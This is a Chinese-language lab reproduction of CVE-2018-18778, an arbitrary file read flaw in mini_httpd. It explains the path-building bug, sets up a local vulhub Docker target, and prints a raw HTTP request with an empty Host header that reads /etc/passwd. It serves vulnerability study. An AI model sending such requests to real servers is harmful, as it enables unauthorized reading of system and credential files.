CVE-2018-18778 mini_httpd任意文件读取

简介: CVE-2018-18778 mini_httpd任意文件读取

漏洞简介

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码,分析如下:

  • 当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
  • 当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd

后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。

环境搭建

执行如下命令启动mini_httpd 1.29:

(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd]
└─# cd CVE-2018-18778                   
┌──(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd/CVE-2018-18778]
└─# docker-compose up -d
Creating network "cve-2018-18778_default" with the default driver
Pulling web (vulhub/mini_httpd:1.29)...
1.29: Pulling from vulhub/mini_httpd
61be48634cb9: Pull complete
fa696905a590: Pull complete
be37244639af: Pull complete
1a50d92daf1a: Pull complete
Digest: sha256:14536977b28d9ef67df67bda62dec54b76bc756460bbd0b0786feabf69ff7535
Status: Downloaded newer image for vulhub/mini_httpd:1.29
Creating cve-2018-18778_web_1 ... done
┌──(root💀guiltyfet)-[/home/guiltyfet/vulhub/mini_httpd/CVE-2018-18778]
└─#

环境启动后,访问http://127.0.0.1:8080即可看到Web页面。

漏洞复现

http://127.0.0.1:8080/抓包

发送请求是将Host置空,PATH的值是文件绝对路径:

GET /etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; section_data_ids=%7B%22cart%22%3A1638415333%2C%22customer%22%3A1638415332%2C%22compare-products%22%3A1638415332%2C%22product_data_storage%22%3A1638415332%2C%22last-ordered-items%22%3A1638415332%2C%22directory-data%22%3A1638415332%2C%22instant-purchase%22%3A1638415332%2C%22review%22%3A1638415332%2C%22wishlist%22%3A1638415332%2C%22recently_viewed_product%22%3A1638415332%2C%22recently_compared_product%22%3A1638415332%2C%22paypal-billing-agreement%22%3A1638415332%7D; mage-cache-sessid=true; private_content_version=e48e945c4e066c5afa30b51edd7c4541
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

如果没有cookie,session等值会显示UNKNOWN 408 Request Timeout

相关文章
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
19666 0
|
Windows
【Windows 逆向】OD 调试器工具 ( 推荐汉化版的 OD 调试工具 | 吾爱破解专用版Ollydbg | 备选工具 )
【Windows 逆向】OD 调试器工具 ( 推荐汉化版的 OD 调试工具 | 吾爱破解专用版Ollydbg | 备选工具 )
13410 0
【Windows 逆向】OD 调试器工具 ( 推荐汉化版的 OD 调试工具 | 吾爱破解专用版Ollydbg | 备选工具 )
|
11月前
|
SQL 安全 PHP
thinkphp5之sql注入漏洞-builder处漏洞
在Web应用开发中,SQL注入是一种需要高度警惕的安全漏洞。通过深入理解ThinkPHP5中的SQL查询机制,并结合安全编码实践,开发者可以有效防止SQL注入攻击,保障应用的安全性和稳定性。
509 13
|
JavaScript 前端开发 网络安全
【网络安全 | 信息收集】JS文件信息收集工具LinkFinder安装使用教程
【网络安全 | 信息收集】JS文件信息收集工具LinkFinder安装使用教程
1474 4
|
12月前
|
云安全 数据采集 人工智能
|
算法 安全 数据安全/隐私保护
BUUCTF-[2019红帽杯]easyRE(Reverse逆向)
本文详细介绍了对一个无壳的64位ELF文件进行逆向分析的过程。首先通过IDA查找关键字符串定位主函数,然后逐步分析函数逻辑,包括读取输入、异或操作等。接着通过多次Base64解码和异或操作,最终得到了关键的flag。整个过程涉及数组寻址、条件判断和函数调用等技术细节,展示了CTF竞赛中常见的逆向工程技巧。最后附上了完整的Python代码实现,帮助读者理解和复现。
1093 1
BUUCTF-[2019红帽杯]easyRE(Reverse逆向)
|
人工智能 安全 数据库
AiCodeAudit-基于Ai大模型的自动代码审计工具
本文介绍了基于OpenAI大模型的自动化代码安全审计工具AiCodeAudit,通过图结构构建项目依赖关系,提高代码审计准确性。文章涵盖概要、整体架构流程、技术名词解释及效果演示,详细说明了工具的工作原理和使用方法。未来,AI大模型有望成为代码审计的重要工具,助力软件安全。项目地址:[GitHub](https://github.com/xy200303/AiCodeAudit)。
4594 9
|
安全 Cloud Native Shell
云上攻防:云原生篇&Docker容器逃逸
本文介绍了Docker的基本概念及其对渗透测试的影响,重点讲解了容器逃逸的方法。Docker是一种轻量级的容器技术,与虚拟机相比,具有更高的便携性和资源利用率。然而,这也带来了安全风险,特别是容器逃逸问题。文章详细描述了三种常见的容器逃逸方法:不安全的配置、相关程序漏洞和内核漏洞,并提供了具体的检测和利用方法。此外,还介绍了几种特定的漏洞(如CVE-2019-5736和CVE-2020-15257)及其复现步骤,帮助读者更好地理解和应对这些安全威胁。
1107 3
云上攻防:云原生篇&Docker容器逃逸
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
2468 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
安全 网络安全 Apache
CVE-2021-41773 复现
CVE-2021-41773 复现
853 1